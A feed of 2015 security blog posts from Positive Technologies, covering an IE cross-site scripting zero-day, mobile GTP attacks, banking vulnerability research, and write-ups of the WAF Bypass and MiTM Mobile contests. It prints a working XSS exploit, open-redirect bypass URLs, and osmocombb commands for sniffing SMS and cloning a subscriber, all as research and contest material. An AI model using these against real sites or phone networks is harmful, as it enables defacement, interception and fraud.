Quantcast
Channel: Positive Technologies - learn and secure
Viewing all 198 articles
Browse latest View live
↧

How to Protect Yourself From an IE Zero-day Vulnerability That is Threatening Your Website

February 7, 2015, 10:32 am
$
0
0
A new, previously unknown cross-site scripting vulnerability in Microsoft Internet Explorer, which lets remote users bypass the same-origin policy and inject arbitrary JavaScript into HTML pages, was revealed yesterday by deusen.co.uk.

Researchers from deusen.co.uk published sample exploit code to demonstrate how to hack dailymail.co.uk — Great Britain’s  leading online daily newspaper.  A specially formed link takes users to dailymail.co.uk, followed by the message “Hacked by Deusen”.


Message on dailymail.co.uk website


The sample exploit code looks like this:

 function go()
 {
 w=window.frames[0];
 w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1);
 }
 setTimeout("go()",1000);

Both Internet Explorer 10.x and 11.x contain this flaw and are therefore exposed to this attack. You may find its detailed description at http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0072.

The experts at Positive Technologies point out that there are several similar exploit examples on the Web that demonstrate the threats this  new vulnerability poses to many sites, including those used for critical resources.

For example, check out this   simulated attack video, posted on PHDays website.


How to Stop this Threat

You must prohibit third party IFrames using the X-Frame-Options header sent by a web server.

The Apache setting in .htaccess looks like this:

Header always append X-Frame-Options SAMEORIGIN

For nginx:

add_header X-Frame-Options SAMEORIGIN;

For IIS:


If the X-Frame-Options  setting is not possible in your environment, you would need to increase the security level of your web application firewall.


PT Application Firewall Security Settings

It is worth mentioning that as of late  zero-day vulnerabilities within infrastructure components, like Shellshock and GHOST, have become more frequently publicized. Google has  also added fuel to the fire with its recent disclosure regarding Windows security flaws, despite Microsoft’s requests to become more flexible on the matter. It seems like the mainstream approach “discover – help to fix – publish details” is not in play any more.

↧
Search

The research: Mobile Internet traffic hijacking via GTP and GRX

February 22, 2015, 11:36 am
$
0
0
Most users assume that mobile network access is much safer because a big mobile-telecoms provider will protect subscribers. Unfortunately, as practice shows, mobile Internet is a great opportunity for the attacker.


Positive Technologies experts have detected vulnerabilities in the infrastructure of mobile networks, allowing an attacker to intercept unencrypted GPRS traffic, spoof the data, block the Internet access, and determine the subscriber's location. Not only cell phones are exposed to threats, but also special devices connected to 2G/3G/4G networks via modems: ATM machines and payment terminals, remote transport and industrial equipment control systems, telemetry and monitoring tools, etc.

Operators of mobile services usually encrypt GPRS traffic between the mobile terminal (smartphone, modem) and the Serving GPRS Support Node (SGSN) using GEA-1/2/3 encryption algorithms, making it difficult to intercept and decrypt information. In order to bypass this restriction an attacker can access the operator's basic network where the data is not protected by authentication mechanisms. Routing nodes (or gateway nodes) called GGSN are a weak point. We can easily find the required nodes using Shodan.io search engine for Internet-connected systems controlling industrial equipment. Vulnerable nodes have open GTP ports which allows attackers to set up the connection and then encapsulate GTP control packets into the created tunnel.  If parameters were selected properly GGSN will take them as packets from legitimate devices within the operator's network.

The described above GTP protocol in no way should be seen from the Internet. In practice, however, things are often quite different: There are more than 207,000 devices with open GTP ports all over the global Internet. More than five hundred of them are components of cellular network architecture and respond to the request for a connection.



Another benefit for attackers is that GTP is not the only protocol used to manage the detected hosts. FTP, SSH, Web, etc. are also used for management purposes. An attacker can connect to the node of a mobile network operator by exploiting vulnerabilities (for example, default passwords) in these interfaces.

Experimental search through the Shodan site reveals some vulnerable devices, including ones with open Telnet and turned off password authentication. An attacker can perform an intrusion into the network of the operator in the Central African Republic by connecting to this device and implementing the required settings.


 Having access to the network of any operator, the attacker will automatically get access to the GRX network and other operators of mobile services. One single mistake made by one single operator in the world creates this opportunity for attack to many other mobile networks.

Among the various ways of using the compromised boundary host we should note the following: disconnection of subscribers from the Internet or blocking their access to the Internet; connecting to the Internet with the credentials of a legitimate user and at the expense of others; listening to the traffic of the victim and fishing attacks. An attacker can also get the subscriber's ID (IMSI) and monitor the subscriber's location worldwide until the SIM card is changed.

 Let us describe in more detail some of the security threats.

Internet at the expense of others

Goal. The exhaustion of the subscriber's account and use of the connection for illegal purposes.

Attack vector: An attacker conducts attacks from the GRX network or the operator's network.

Description. The attack is based on sending the “Create PDP context request” packets with the IMSI of a subscriber known in advance. Thus, the subscriber's credentials are used to establish connection. Unsuspecting subscriber will get a huge bill.

It is possible to establish connection via the IMSI of a non-existent subscriber, as subscriber authorization is performed at the stage of connecting to SGSN and GGSN receives already verified connections.  Since the SGSN is compromised, no verification is carried out.


Result. An attacker can connect to the Internet with the credentials of a legitimate user.

Data interception

Goal. To listen to the traffic of the victim and conduct a fishing attack.

Attack vector: An attacker conducts attacks from the GRX network or the operator's network.

Description. An attacker can intercept data sent between the subscriber's device and the Internet by sending an “Update PDP Context Request” message with spoofed GSN addresses to SGSN and GGSN. This attack is an analogue of the ARP Spoofing attack at the GTP level.


Result. Listening to traffic or spoofing traffic from the victim and disclosure of sensitive data.

DNS tunneling

Goal. To get non-paid access to the Internet from the subscriber's mobile station.

Attack vector: The attacker is the subscriber of a mobile phone network and acts through a mobile phone.

Description. This is a well-known attack vector, rooted in the days of dial-up, but the implementation of low-price and fast dedicated Internet access made it less viable.  However, this attack can be used in mobile networks, for example, in roaming when prices for mobile Internet are unreasonably high and the data transfer speed is not that important (for example, for checking email).

The point of this attack is that some operators do not rate DNS traffic, usually in order to redirect the subscriber to the operator's webpage for charging the balance.  An attacker can use this vulnerability by sending special crafted requests to the DNS server; to get access one needs a specialized host on the Internet.


Result. Getting non-paid access to the Internet at the expense of mobile operator.

Substitution of DNS for GGSN

Goal. To listen to the traffic of the victim and conduct a fishing attack.

Attack vector: An attacker acts through the Internet.

Description. If an attacker gets access to GGSN (which is quite possible as we could see), the DNS address can be spoofed with the attacker's address and all the subscriber's traffic will be redirected through the attacker's host. Thus, listening to all the mobile traffic of the subscriber is possible.


Result. An ability to listen to traffic or spoof traffic from all subscribers and then gather confidential data to engage it in fishing attacks.

Some of the attacks can not be performed if the equipment is configured properly. Still the results of the research made by Positive Technologies suggest that misconfiguration is a common problem in the telecommunications sphere. Vendors often leave some services enabled while these services should be disabled on this equipment, which gives additional opportunities to attackers.  Due to the large number of nodes it is recommended to automate the control process using specific tools such as MaxPatrol.



How to Protect Yourself

Security measures required to protect against such attacks include proper configuration of equipment, utilizing firewalls at the GRX network edge, using 3GPP TS 33.210 recommendations to configure the security settings within the PS Core network,  security monitoring of the perimeter as well as developing security compliances for the equipment and performing regular compliance management tasks.

Many people rely on new communication standards that include new safety technologies. However, despite the development of such standards (3G, 4G) we cannot completely abandon the use of old generation networks (2G).  The reason is the specifics of the implementation of mobile networks and the fact that the 2G base stations have better coverage as well as the fact that 3G networks use their infrastructure. LTE still uses the GTP protocol and therefore the necessary protection measures will be relevant in the foreseeable future.

The results of this research were gathered by Positive Technologies experts in 2013 and 2014 during consulting on security analysis for several large mobile operators.  For detailed report on Vulnerabilities of mobile Internet (GPRS), please visit Positive Technologies official site: www.ptsecurity.com/download/Vulnerabilities_of_Mobile_Internet.pdf

↧
↧

Schneider Electric Thanks the Winner of the Positive Hack Days Hacker Contest

May 19, 2015, 4:53 am
$
0
0
Early April, Schneider Electric has released several updates and patches fixing vulnerabilities in the software used for creating SCADA and HMI systems at nuclear power plants, chemical plants and other critical units.

The vulnerabilities which even a novice attacker could exploit were found in InduSoft Web Studio 7.1.3.2, InTouch Machine Edition 2014 7.1.3.2 as well as previous versions of these products. Among bugs fixed — arbitrary code execution and non-encrypted storage/transfer of sensitive data. The vendor recommends downloading the new patches as soon as possible.

Ilya Karpov and Kirill Nesterov, Positive Technologies researchers, detected the vulnerabilities during an ICS security analysis. Meanwhile, many bugs in those products were independently revealed by the participants of the Critical Infrastructure Attack contest held in May 2014  at the international infosec conference Positive Hack Days IV.

Schneider Electric thanked the contest winner, Alisa Shevchenko (Esage Lab), for the vulnerabilities she identified. However, Schneider Electric has not mentioned some vulnerabilities in the bulletin and has not created CVE entries for them. Unfortunately, vendors tend to use such an approach more often: they fix vulnerabilities, but do not always acknowledge their existence.

The first PHDays contest in analyzing ICS security was held in 2013 when security experts at Positive Technologies laboratory developed a railway model, whose components (trains, railroad crossing gates, and cranes) were controlled by an ICS based on three real SCADA systems and three industrial controllers.

In 2014, the contest infrastructure was significantly changed to allow detection of zero-day vulnerabilities within a wider range of systems and industrial protocols including: transport, city lighting system, power plants and various robots.


In the competition scenario, SCADA systems and controllers are used at critical installations within various industries.  If exploited in a real life situation, these vulnerabilities could have very serious consequences.  According to the responsible disclosure policy, Critical Infrastructure Attack contestants must notify respective vendors about vulnerabilities they detected. Details about the vulnerabilities are available upon the fixes being disclosed by the vendor.

The next ICS security analysis contest will be held at Positive Hack Days V on May 26—27 in Moscow. You can find the details at phdays.com.

↧

Online banking vulnerabilities in 2014: Authentication, Authorization and Android

May 23, 2015, 8:26 am
$
0
0

Today the security for online banking (OLB) is insufficient. High severity vulnerabilities in the source code and multiple flaws in authentication and authorization mechanisms of systems allow remote attackers to execute unauthorized transactions or take complete control of an affected system. This has the potential to cause both financial and reputation damage.

In this article we present some results of the research on OLB vulnerabilities discovered by Positive Technologies experts in 2013 and 2014 in the course of security assessments for a number of the largest Russian banks.

Cases 

28 systems for personal (77%) and commercial (23%) online banking were investigated in the course of this research. They included mobile banking systems consisting of server and client components (54%). Two thirds of the systems (67%) were developed by banks themselves using Java, C#, and PHP. The rest were implemented on platforms of well-known vendors. Most OLB systems (74%) were operational and accessible to clients. 25% of the systems were testbeds, but ready for commissioning in the foreseeable future. The severity of the vulnerabilities was graded based on CVSS version 2.

General Findings 

Almost half of the OLB vulnerabilities discovered (44%) were classified as High severity. Vulnerabilities classified as Medium (26%) and Low (30%) severity were approximately equal. In general, high severity vulnerabilities were discovered in 78% of the investigated systems.
Most vulnerabilities (42%) were caused by developers' bugs in OLB security implementation. This includes flaws in identification, authentication, and authorization mechanisms. The second most common vulnerability (36%) are bugs in the application source code. The rest (22%) relate mainly to misconfiguration.


Vulnerability Distribution

The most common OLB vulnerabilities found are related to software information disclosure and predictable user ID formats (57%). More than half of the systems (54%) were vulnerable to Cross-Site Scripting (XSS) attacks. Successful exploitation of this vulnerability could allow an attacker to obtain OLB access in the context of the targeted user if the victim navigated to a specially crafted website.

Vulnerabilities that facilitated attacks on user sessions were also very common (54%). These included improper session termination, incorrect cookie settings, multiple sessions under one account, and a lack of association between user sessions and client IP addresses. Successful exploitation of these vulnerabilities could allow an attacker to obtain access to the targeted account with full user rights.

XML External Entity (XXE) vulnerabilities were among the most common high severity vulnerabilities discovered in 46% of the systems. Successful exploitation of these vulnerabilities could allow an attacker to read files on a vulnerable server, reveal open network ports on the host, cause a denial of OLB services or, under certain conditions, impersonate a vulnerable server to perform further attacks on arbitrary hosts.

Half of the investigated OLB systems (52%) were vulnerable to Denial of Service (DoS) attacks.
The most commonly found vulnerabilities are classified as Medium or Low severity. Nevertheless, these vulnerabilities in conjunction with some OLB features could cause critical security flaws like stealing personal data (89%) or money (46%).


Top OLB Vulnerabilities (across systems)

The investigated OLB systems also contained a number of severe logic vulnerabilities. For example, a number of systems were vulnerable to attacks involving floating point rounding errors. Let's assume that an attacker wants to convert 0.29 RUB (Russian Ruble) to USD (United States Dollar). If the price of 1 USD is 60 RUB, then 0.29 RUB equals to 0.004833333333333333333333 33333333 USD. This sum is rounded up to the hundredths place, i.e. to 0.01 USD (one cent). Then the attacker converts 0.01 USD back to rubles and gets 0.60 RUB. The attacker's bonus is 0.31 RUB. Thus, a malicious user can automate this procedure and obtain an unlimited amount of money, as there are no limitations on the number of transactions per day and on the minimum sum to exchange. Race Condition vulnerability may also facilitate exploitation of this bug.

Vulnerabilities by Developers 

High severity vulnerabilities are more common for third-party OLBs (49%) than for proprietary systems OLBs (40%). OLB supplied by dedicated developers contain 2.5 times more source code bugs than OLB developed by onsite programmers. This is due to banks using third-party software and relying on the vendor's source code QA. However, as OLBs are cross platform and have complicated architectures and multiple features they do not allow vendors to provide sufficient security at the source code level.


Average Number of Vulnerabilities (by Developer)

Most common security vulnerabilities 

The most common security flaw, found in 64% of OLB identification mechanisms is a predictable ID format. An attacker who knows several valid IDs may predict the algorithm used to generate them. 32% of the investigated systems exposed information on valid accounts by generating different responses depending on whether the user account existed. 20% of OLB systems contained both identification vulnerabilities mentioned above.

58% of the investigated systems contained security flaws in the authentication mechanisms, for example weak password policy, insufficient protection against brute force attacks, CAPTCHA bypass vulnerabilities, and the lack of two-factor authentication.


Authentication Vulnerabilities (per System)

79% of the investigated systems had insufficient authorization and transaction security and 42% allowed attackers to obtain unauthorized access to user data (personal data, bank accounts, payments, etc.). 13% of the systems allowed direct banking operations on behalf of the targeted user.


Authorization Vulnerabilities (per System)

Mobile Banking Vulnerabilities

Applications for Android OS are more vulnerable as compared to iOS applications. High severity vulnerabilities were discovered in 70% of Android applications and in 50% of iOS applications.
On average, each Android application contains 3.7 vulnerabilities, while each iOS application contains 2.3 vulnerabilities.


Application Vulnerabilities by Mobile OS

The most common vulnerabilities in mobile banking applications are related to insecure data transmission (73%), insufficient session security (55%), and unsafe data storage (41%).
The most commonly found mobile OLB vulnerabilities were classified as Medium and Low severity, but in some cases, a combination of these vulnerabilities could have a critical impact on the system. For example, one of the investigated applications was broadcasting bank's SMS message with a one-time password for the transaction, which could be intercepted by an external application. Moreover, this mobile application logged sensitive data that could allow an attacker to obtain user credentials and perform transactions on behalf of the mobile application user by executing malicious code on the targeted mobile device.


TOP Mobile Banking Vulnerabilities

Our Recommendations 

To reduce any risks related to OLB vulnerabilities banks should implement secure development procedures, provide comprehensive testing at the acceptance stage, and use preventive protection means like the Web Application Firewall. Additionally banks should use the Application Firewall for third-party productive systems in order to prevent vulnerability exploitation until it is patched by the vendor.

More details from this research will be presented at Positive Hack Days infosec conference (May 26-27, Moscow) were the participants can take part in hacking contests “Leave ATM alone” (detecting ATM vulnerabilities) and "Snatch" (exploiting an online banking system). See the contests’ rules and results at www.phdays.com. 

↧

WAF Bypass at Positive Hack Days V

June 29, 2015, 2:37 pm
$
0
0

As it did last year, the PHDays forum on information security hosted WAF Bypass this year as well. The contest's participants tried to bypass the protection of PT Application Firewall, Positive Technologies' product. For this contest, the organizers developed the site Choo Roads, which contained common vulnerabilities, such as Cross-Site Scripting, SQL Injection, XML External Entities Injection, Open Redirect. Upon exploiting one of the vulnerabilities, a participant obtained a flag in the MD5 format and gained points. MD5 flags could be found in the file system, database, and cookie parameters and detected by a special bot that was developed by using Selenium.

Though the contest WAF configuration allowed bypassing, uncommon solutions were also presented. This was actually the goal of the contest: participants had the opportunity to try themselves in bypassing protection mechanisms, while we can improve our product due to the results. Let's have a look at those vulnerabilities and bypass techniques.

Warmup

The vulnerability was in the script that tracked user activity on the site.

POST /online.php HTTP/1.1
Host: choo-choo.phdays.com
Connection: keep-alive
Content-Length: 24
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36

{"timestamp":1432906707}

Timestamp field values from the JSON data in the POST request were not validated before using them in the SQL request:
To bypass the check, you could substitute Content-Type with text/xml, and as a result the POST data were not processed as JSON (the check was disabled).

XSD validation

The site had a form for searching tickets by forming XML and sending the request to the back end.
XSD was used for the XML request.

According to the schema, the id attribute should contain 35 characters. The attribute value was added into the SQL request without validation. Bypassing required a vector that meets XSD requirements.

Open Redirect



The vulnerability was in the "to" parameter of the script redirect.php. The flag was sent to fragment portions of URL where the redirection was executed, i.e. it wasn't sent to the server end. To get the flag, you should send the bot to another site with a page that could retrieve the value from location.hash and send it to the logger.

Bypassing options:

http://choo-choo.phdays.com/redirect.php?to=phdays.com:asd@host.com
http://choo-choo.phdays.com/redirect.php?to=http://ahack.ru%23.phdays.com/
http://choo-choo.phdays.com/redirect.php to=http%3a//www.samincube.com%3f\..\\www.phdays.com

XML External Entities Injection

The script that handled XML data was vulnerable to XXE. Bypassing required using of the external entity in the parameter entity:

It was also possible to bypass it with UTF-16.

Cross-Site Scripting

The vulnerability was in the site's search page. To obtain the flag, you could send the bot's cookies to the site. Bypassing required using non-standard tag attributes that are processed by bootstrap-validator allowing executing the JS code:

Or:


Results


The winner of the contest is bushwhackers: Georgy Noseevich, Andrey Petukhov, and Alexander Razdobarov. The team solved all the tasks during the first day! (They won the last year's competition as well.) Mikhail Stepankin (ArtSploit) took second place, Eldar Zaitov (kyprizel) was the third. The winner received an iPad Air 2; a Sony Xperia Z3 went to the second place team; the third place team received a license for Burp Suite Professional.

During the contest, 271,390 requests were blocked (twice as many as during the last year's contest). This time, 302 contestants registered (compared to 101 last year). Only 18 participants managed to capture at least one flag.



Thanks to everyone who took part in the contest.

↧
↧

PHDays V Highlights: Signs of GSM Interception, High Time to Hack Wi-Fi, Future of Encryption

July 3, 2015, 3:54 am
$
0
0

Technological singularity is expected in 15 years at best, but Positive Hack Days transition is happening right now. The fifth forum had a record attendance – over 3,500 visitors, which is comparable to the leading international hacker conferences, and the number of talks, sessions, and various activities surpassed one hundred. The incredible and exciting contests involved hacking spaceships, power plants, ATMs, and railway companies. More Smoked Leet Chicken became the winning champion of this year’s CTF, showing their best at stock exchange speculation. Congratulations! A detailed write-up about that is coming soon. Right now let’s focus on a number of recommendations and tips that impressed us most of all during the 2-day hacker marathon that took place in World Trade Center on May 26-27.

Color of the Day vs Social Engineering

Chris Hadnagy, the founder of social-engineer.org, talked about his experience in business protection against social hackers during his speech called “Social Engineering for Fun and Profit”. One of his stories was about a pregnant girl, a social engineer by profession, who carrying a heavy box managed to get inside an office protected by various identification systems and penetrated its most critical part — a server room. Pregnant women look so vulnerable, don't they?

He also pointed out that while techniques change, people remain the same and there is no need to fight the very essence of human nature and become heartless robots. Instead, he showed how to turn it against social hackers. One of the ways is to implement the Color of the Day routine so the color would be known to employees only. When an adversary attempts to conduct a vishing attack pretending an IT or HR specialist, you just need to ask him or her the color of the day as a certain password to ward off impostors. You use ID cards to enter your office and it is all right to implement similar IDs for all access points.


Find Out Someone Is Listening on Your Phone 

During his talk called “GSM Signal Interception Protection”, Sergey Kharkov described signs of wiretapping and all sorts of hardware and software diagnostic tools. For example, in order to make a connection, an attacker needs to make your device connect to his or her virtual cell, otherwise a phone might find a better alternative. So one of the sure signs that your device got connected to an adversary’s virtual cell is a strong signal and an unnaturally high C2 value responsible for prioritizing one cell over another.

PHDays V participants gave a lot of attention to mobile security. Dmitry Kurbatov, Positive Technologies expert, held a hands-on lab, after which anyone was able to participate in the MiTM Mobile contest and try to hack a mobile operator created for the contest. Participants could do a lot of things like intercepting SMS, USSD, and phone conversations, working with IMSI catcher, hacking encryption keys using kraken, and duplicating cell phones. Write-up of the contest highlights is coming soon.

Why Hackers Attack the Olympics

Among the participants of a round table dedicated to incident investigation in large infrastructures were Vladimir Kropotov, Fyodor Yarochkin, Kevin Williams, John Bambenek, and other infrastructure protection experts. For instance, Kevin as a British NCCU employee helped to protect the Olympic Games in London, while Vladimir represented Positive Technologies, which helped to protect VGTRK, a state television and radio broadcasting company in Russia, during the Olympics ’14. Fyodor Yarochkin noted that along with usual threats like hacktivists and hooligans came the most dangerous type of adversary — various forms of criminal business related to totalizators, as any change might help them to hit the jackpot. Kevin Williams discussed in detail the common practice in the UK to coordinate efforts with CERT, which act as a mediator between state departments and companies.


How to Help Intrusion Prevention Systems

Hackers have learned how to confuse self-learning mechanisms in the network intrusion detection systems. Clarence Chio, an artificial intelligence specialist, reviewed several models applied throughout IPS based on PSA, clusterization, etc. Which is better — rule-based techniques or machine self-learning mechanisms? Clarence Chio believes that ML techniques look good in theory, but when it comes to real life action they fail to impress.




The Most Secure Mobile Platform Around

The information security experts Denis Gorchakov and Nikolay Goncharov shared, among other things, information about the most secure mobile OS in their report called “Fighting Payment Fraud Within Mobile Networks”. The first place went to Windows Phone, for which any critical epidemics haven't been registered yet. As for iOS, there is a number of applications that attack devices with or without JailBreak. Android being the most popular mobile OS turned out the worst. According to Android Security Report 2015, the rate of malicious software found is 3 to 4 times above the average in Russia.

Edward Snowden in Your Keyboard 

Not only may wireless keyboards discharge when you least expect it, they also have a potential to disclose your confidential data. Andrey Biryukov, a system architect for MAYKOR, told us about the concept of keysweeper — a simple Adruino-based device in a shape of a charger that hijacks signals from keys pressed on a wireless keyboard and sends the data to an attacker. Usual computer scanning will help you to detect viruses and vulnerabilities on your PC, yet it fails to protect against keysweeper.
 

Victim’s Browser as a Scanning Tool

Dmitry Boomov, a respected deanonimization specialist, told the audience how to scan internal infrastructures via a victim’s browser without using JavaScript during his report called “Not by Nmap Alone”. All you need is to make a victim click on the right link.



Best Time to Catch Wi-Fi

In his report “Overview of Little-Known Wi-Fi Nuances”, the researcher Oleg Kupreev brought our attention to time and weather conditions most comfortable for hackers to strike. A high-frequency signal is weaker on rainy days, so a potential attacker will most definitely choose another day to attack thousands of users near the subway. It makes more sense to go on a DDoS hunt on WTS via mdk3 deep in the night. Not only it’s inconvenient to attempt it in the evening (the only channels that do not cross are 1, 6, 11), but also quite reckless – traffic overload every five minutes may raise suspicions if a victim watches TV online. Mornings, when office PCs are turned on, are high time to crack WAP Enterprise.


 How to Make Vendors Patch Vulnerabilities

In March, FSTEC of Russia made its official vulnerability database, comprised of more than 150 threats and 10,000 vulnerabilities, public. Vitaly Lyutikov, the head of FSTEC of Russia, mentioned during the round table called "Expert Community's Role in Generation of Information Security Threat Databases" that the national database was a result of a law prohibiting Russian documents from referring to third-party CVE definitions. FSTEC of Russia is now responsible for checking zero-day vulnerabilities and vendor correspondence.

Onion Vulnerabilities

Protecting onion resources on DarkNet is not that easy. The Kaspersky Lab's experts, Denis Makrushin and Maria Garnaeva, told us what kind of information external users may get on a Tor user. Denis developed a passive system for Exit node traffic collection which had a key quality — it transferred traffic throughout the ports and contained a sniffer that was able to catch out all HTTP connections with the Referer header. If a person inside Tor clicks a link to an external web resource, this packet gets captured. The discovered sites usually contained ads about passwords and legacy databases. The authors of "The End of Anonymity on Anonymous Networks" also found out that every third onion resource has security flaws and allows for arbitrary JavaScript code execution.


Hunting Lost Configuration Files

Hardly would anyone draw your attention for as long as Andrey Masalovich, the faithful participant of Positive Hack Days — in an hour the audience just couldn't stop listening to the competitive intelligence expert, so we had to extend the time of his talk "Zero Shades of Grey". Having shared one of his relatively honest ways to access website logins, passwords, and bases (figuring out the name of the backup copy of a CMS configuration file forgotten by a system administrator), he focused on a very important topic — doubting authenticity of multimedia, graphic and text data.


Check If Photos are Photoshopped

The contest held by Almaz Capital for startup cybersecurity projects touched upon data authenticity as well. In no rush for establishing a company, participants needed to provide a prototype of their solution.


The first prize (1,500,000 rubles) went to SMTDP Tech, a company that invented an anti-photoshop to detect photo and video changes. If you need to check a static billboard or car accident photos, this software may help.

Future of Encryption


Whitfield Diffie, the advisor for Almaz Capital, the father of digital signatures and asymmetric encryption made his forecast from PHDays plasma displays on May 26. He believes that if we were spending as much money on actual defense as we are spending on interactive attack systems we might get much better results, build digital fortresses and level up information security. Today quantum key distribution shows great promise for solving transportation problems, but nobody knows exactly how it'll look like. We can only assume that radio or vibro communication will be implemented. Another debated technology taken skeptically by Whitfield Diffie is homomorphic encryption — a user's computer might not be powerful enough to decrypt a message.

Linguists to Come Out of the Shadow


The session "Information Security: Careers of the Future", its moderator and Positive Technologies expert Evgeny Minkovsky along with business and government officers tried to foresee our future as well. What information security jobs and technologies will be most popular in five or fifteen years? Voting results at the end of the meeting surprised the participants — sooner or later information security will show high demand for linguists. Meanwhile, this point of view corresponds to the Atlas on New Professions by Agency for Strategic Initiatives that placed digital linguistics among the most promising professions. These specialists will develop semantic translation and text processing systems and new communication interfaces between PCs and human beings.


You may find videos of all the PHDays reports at the forum’s site http://www.phdays.com/broadcast/.

↧

The MiTM Mobile Contest: GSM Network Down at PHDays V

July 6, 2015, 2:52 pm
$
0
0

Although we have published several research works on cell phone tapping, SMS interception, subscriber tracking, and SIM card cracking, lots of our readers still regard those stories as some kind of magic used only by intelligence agencies. The MiTM Mobile contest was held at PHDays for the first time, and it let the participants realize how easily an attacker can conduct the above-mentioned attacks having only a 10$ cell phone with some hacker freeware.

Contest conditions and technologies
You've got a corporate cell phone of a MiTM Mobile network user.
Through the DarkNet you have obtained some information that can be useful:
1) The codes for publes (PHDays game currency – Pseudo rUBLE) are regularly sent to the phone number of the corporation's chief accountant — 10000. 
2) The financial director is missing, nobody can get him on the phone for several days, his cell phone is turned off, but he is still getting passwords. 
3) You can obtain key information by calling the number 2000, but there is authorization by the caller's number. We also managed to find out the phone number of the director's private secretary — 77777. He must have the access. 
There are other numbers in the network through which some employees get important information, but, unfortunately, we failed to find them. Besides, don't forget — you can always come across someone's private information in the corporate network.
The CTF participants got about the same intro at the MiTM Mobile contest held at PHDays V.

We deployed a real mobile operator infrastructure for the contest. It included a base station, cell phones, landline phones, and SIM cards. The name of the contest — MiTM Mobile — was picked for a reason: we wanted to emphasize the vulnerability of our network. For the logo, we chose the Kraken (well, kind of) destroying a cell tower.

So, it's all clear with the operator's trappings, let's now look at the network implementation. Our hardware solution was a device with a simple name — UmTRX (the manufacturer's site: umtrx.org/hardware). The network's wireless part was based on this unit. The functionality of the base station and GSM (software part) was implemented through the Osmocom/OpenBTS stack.


UmTRX is the heart of MiTM Mobile.

We also ordered SIM cards for a simple and quick network registration. The MiTM Mobile network credentials were specified in them, and the card data were registered in the network. In order to simplify air tapping and make the life of the players easier we disabled data encryption in our network (A5/0). Apart from the SIM cards, the participants were provided with Motorola C118 cell phones and USB-UART cables (CP2102). All this, including the osmocombb stack, allowed the participants to tap the air, intercept SMS messages intended for other users, and make phone calls in the network on the part of another user.

Each team got a SIM card, cable, cell phone, and virtual machine image with the osmocombb stack build to experiment with.


Review of Tasks

Some theory at first:

  • IMSI— International Mobile Subscriber Identity stored in SIM-card. 
  • MSISDN— Mobile subscriber ISDN number phone number, assigned to IMSI in operator’s infrastructure
  • TMSI— Temporary Mobile Subscriber Identity randomly assigned by the network to every mobile in the area, the moment it is switched on.


IMSI is the magic number specified in the SIM card. It looks something like this — 250-01-ХХХХХХХХХХ, where 250 is the country code (Russia), 01 is the operator code (MTS), and ХХХХХХХХХХ is a unique ID. A subscriber is identified and authorized in the operator's network by the IMSI.

In this case, we have the sysmocim SIM card with 901 country code, 70 operator code, and 0000005625 subscriber's ID in the operator's network (see fig.).

The second thing you need to remember: the MSISDN, your cell phone number (for example, +79171234567), is stored in the operator's base, and not on the SIM card. During the call, the base station puts this number according to the IMSI <--> MSISDN conversion table (MSC/VLR has this function in the real network). Or it doesn't (in case of an anonymous call).

TMSI is a 4-byte temporary identifier given to the subscriber after the authorization.

Now that we know this, let's continue.

We need to run the osmocombb stack. The actions are quite simple. You need to connect the cable to the computer and forward it inside the virtual machine. A device named /dev/ttyUSB0 should appear there. After that, you should connect a TURNED-OFF cell phone to the cable through an audio jack.

Then you open two consoles. In the first one, you must run the following command:

#~/osmocom-bb-master/src/host/osmocon/osmocon  -p /dev/ttyUSB0  -m c123xor  -c ~/osmocom-bb-master/src/target/firmware/board/compal_e88/layer1.highram.bin

Now press the red button of the cell phone to turn it on. This command starts uploading firmware into the phone and opening the socket that will be a mediator between the phone and the programs. It is the so-called layer 1 of the OSI model. It establishes physical interaction with the network.


This is roughly what layer1 outputs to the console after it has been uploaded into the phone (this is not something of interest, though).

In the second console, you must run the following command:

#~/osmocom-bb-sylvain/src/host/layer23/src/misc/ccch_scan  -a 774  -i 127.0.0.1

This command establishes layer 2-3 of the OSI model, namely — air tapping in search of CCCH (Common Control Channel) packages.

774 is ARFCN we broadcast at. Yea, nobody needs to look for the channel of our operator. We did everything we could to make your life easier, our dear participants :)

-i 127.0.0.1 is the interface you will send the packages to.


Now, you launch Wireshark. It will do everything for you — for instance, it will gather all the necessary packages in SMS, unparce the TPDU/PDU format, and show everything easy to read.

Remember, you were to intercept SMS for the first task. In order to make browsing in Wireshark more convenient and keep our screen "clean", you should set the filter at gsm_sms packages.


Now you can see SMS messages on the air. Congrats, you've completed the first task! If you were now at PHDays V, you would be able to see the SMS message containing the code for getting publes. The code was being aired constantly during the two days, every five minutes, an even at night.

You must run layer1 again for the second task (or you can just keep it on after the previous one).

In the second console, you run the following command as layer2-3:

#~/osmocom-bb-master/src/host/layer23/src/mobile/mobile -i 127.0.0.1

Nothing really hard here. The mobile application can function as a virtual cell phone. In order to get access to these functions, you must open the third console and run

$ telnet 127.0.0.1 4247

A Cisco-like interface will open. You must enable the extended mode:

OsmocomBB> enable

After that, you should display the list of commands available:

OsmocomBB# list

What do you think the clone command does? Well, its name speaks for itself – you can clone a subscriber. In the description of the command, you can see it accepts TMSI as an argument. If you manage to find out the victim's TMSI and put in our phone, you will be able to connect to the network instead of the initial subscriber.

During the whole conference, we were trying to send an SMS message to a phone number missing in the network. IF a participant would put the TMSI requested by the base station as the clone command parameter, he or she would get the flag with the code for money.

OsmocomBB# clone 1 5cce0f7f

It was quite easy to see the base station request to the subscriber. You could look for gsmtap packages in Wireshark with the Paging Requests Type 1 request (the request the base station makes when a call is originated).


Alternatively, you could use the second console that has mobile launched:


After you type the TMSI, you will get an SMS message intended for the initial subscriber.

